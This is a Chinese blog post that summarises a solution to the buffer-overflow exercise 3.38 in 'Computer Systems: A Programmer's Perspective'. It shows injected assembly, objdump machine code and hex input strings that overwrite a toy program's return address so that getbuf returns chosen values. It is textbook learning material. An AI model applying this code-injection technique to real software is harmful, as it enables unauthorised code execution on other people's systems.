本博客(http://blog.csdn.net/livelylittlefish)贴出作者(三二一@小鱼)相关研究、学习内容所做的笔记,欢迎广大朋友指正!
《深入理解计算机系统》3.38题解——缓冲区溢出攻击实例(续3)
本文全文下载:http://download.csdn.net/source/1940333
1. 问题描述
见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087640.aspx
2. 目标分析与题解
见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087676.aspx
3. 验证
见http://blog.csdn.net/livelylittlefish/archive/2009/12/27/5087690.aspx
4. 小结
本文主要以《深入理解计算机》3.38题为例,详细地介绍了该题目的解题过程,主要目的是利用程序缓冲区溢出以达到改变程序的输出(攻击程序)。
要解决这类题目,需要对过程调用的栈帧变化、指令的作用有较深入的了解。同时在使用GDB调试程序时,命令的使用也能对尽快找出问题提供帮助,本文只简单地使用了p、x等命令,其他的注入display、layout命令更能帮助我们发现问题、解决问题。
另外,也需要对该类问题举一反三,从中可以观察到每个汇编指令的格式、功能及其使用方法,例如。
4.1 若希望输出为0x12345678呢?
输入指令的汇编代码及其机器码。
;file name: bomb.s mov $0x12345678, %eax push $0x401158 ret |
$ objdump -d bomb.o show.o: file format pe-i386 Disassembly of section .text: 00000000 <.text>: 0: b8 78 56 34 12 mov $0x12345678,%eax 5: 68 58 11 40 00 push $0x401158 a: c3 ret b: 90 nop c: 90 nop d: 90 nop e: 90 nop f: 90 nop |
输入数据如下。
$ ./bomb.exe Type Hex string:b8 78 56 34 12 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00 getbuf returned 0x12345678 |
4.2 若希望输出为0xabc呢?
输入指令的汇编代码及其机器码。
;file name: bomb.s mov $0xabc, %eax push $0x401158 ret |
$ objdump -d bomb.o show.o: file format pe-i386 Disassembly of section .text: 00000000 <.text>: 0: b8 bc 0a 00 00 mov $0xabc,%eax 5: 68 58 11 40 00 push $0x401158 a: c3 ret b: 90 nop c: 90 nop d: 90 nop e: 90 nop f: 90 nop |
输入数据如下。
$ ./bomb.exe Type Hex string:b8 bc 0a 00 00 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00 getbuf returned 0xabc |
4.3 一些例子
以下是不同长度的输入输出示例,若希望其他的输出,读者可以自行试验。
Input:b8 ef be ad de 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00
Output:0xdeadbeef |
Input:b8 78 56 34 12 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00
Output:0x12345678 |
Input:b8 56 34 12 00 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00
Output:0x123456 |
Input:b8 bc 0a 00 00 68 58 11 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 bf 22 00 80 bf 22 00
Output:0xabc |
另外,也可以在Linux系统、windows系统中试验,以观察不同编译器、链接器的不同。
Reference
http://blog.csdn.net/lijingze2003/archive/2005/02/25/302275.aspx
http://bbs.pediy.com/showthread.php?threadid=38234